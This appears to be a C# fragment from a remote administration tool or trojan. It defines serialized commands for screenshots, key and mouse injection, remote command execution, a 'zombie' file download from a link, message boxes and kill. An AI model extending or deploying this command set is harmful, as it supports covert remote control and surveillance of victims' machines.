public static byte[] Take(string identifier) { byte[] img; int screenWidth = (int)(Screen.PrimaryScreen.Bounds.Width * MonitorInfo.CurrentScaling); int screenHeight = (int)(Screen.PrimaryScreen.Bounds.Height * MonitorInfo.CurrentScaling); var bmpScreenshot = new Bitmap(screenWidth, screenHeight, PixelFormat.Format32bppArgb); var gfxScreenshot = Graphics.FromImage(bmpScreenshot); gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, new Size(screenWidth, screenHeight), CopyPixelOperation.SourceCopy); using (MemoryStream ms = new MemoryStream()) { bmpScreenshot.Save(ms, ImageFormat.Jpeg); img = ms.ToArray(); } return(CommandDataSerializer.Serialize(CommandFlags.Screenshot, (writer) => { writer.Write(identifier); writer.Write(img); })); }
public static byte[] KeyInfo(int key) { return(CommandDataSerializer.Serialize(CommandFlags.KeyboardKey, (writer) => { writer.Write(key); })); }
public static byte[] Command(string command) { return(CommandDataSerializer.Serialize(CommandFlags.RemoteCMD, (writer) => { writer.Write(command); } )); }
public static byte[] Create(string text, string ID) { return(CommandDataSerializer.Serialize(Commands.CommandFlags.ChatMessage, (writer) => { writer.Write(text); writer.Write(ID); })); }
public static byte[] Request(string link, string filename) { return(CommandDataSerializer.Serialize(CommandFlags.ZombieDownloadFileRequest, (writer) => { writer.Write(link); writer.Write(filename); } )); }
public static byte[] Create(string text, string caption, int button, int icon) { return(CommandDataSerializer.Serialize(CommandFlags.MessageBox, (writer) => { writer.Write(text); writer.Write(caption); writer.Write(button); writer.Write(icon); })); }
public static byte[] ClickInfo(int x, int maxX, int y, int maxY) { // MousePoint info = GetCursorPosition(); return(CommandDataSerializer.Serialize(CommandFlags.Click, (writer) => { writer.Write(x); writer.Write(maxX); writer.Write(y); writer.Write(maxY); })); }
public static byte[] Request() { return(CommandDataSerializer.Serialize(CommandFlags.Kill)); }
public static byte[] Generate(string commandOutput) { return(CommandDataSerializer.Serialize(CommandFlags.GenericCommandOutput, (writer) => { writer.Write(commandOutput); })); }
public static byte[] CloseRequest() { return(CommandDataSerializer.Serialize(CommandFlags.CloseChat)); }
public static byte[] Request(string identifier) { return(CommandDataSerializer.Serialize(CommandFlags.Screenshot, (writer) => { writer.Write(identifier); })); }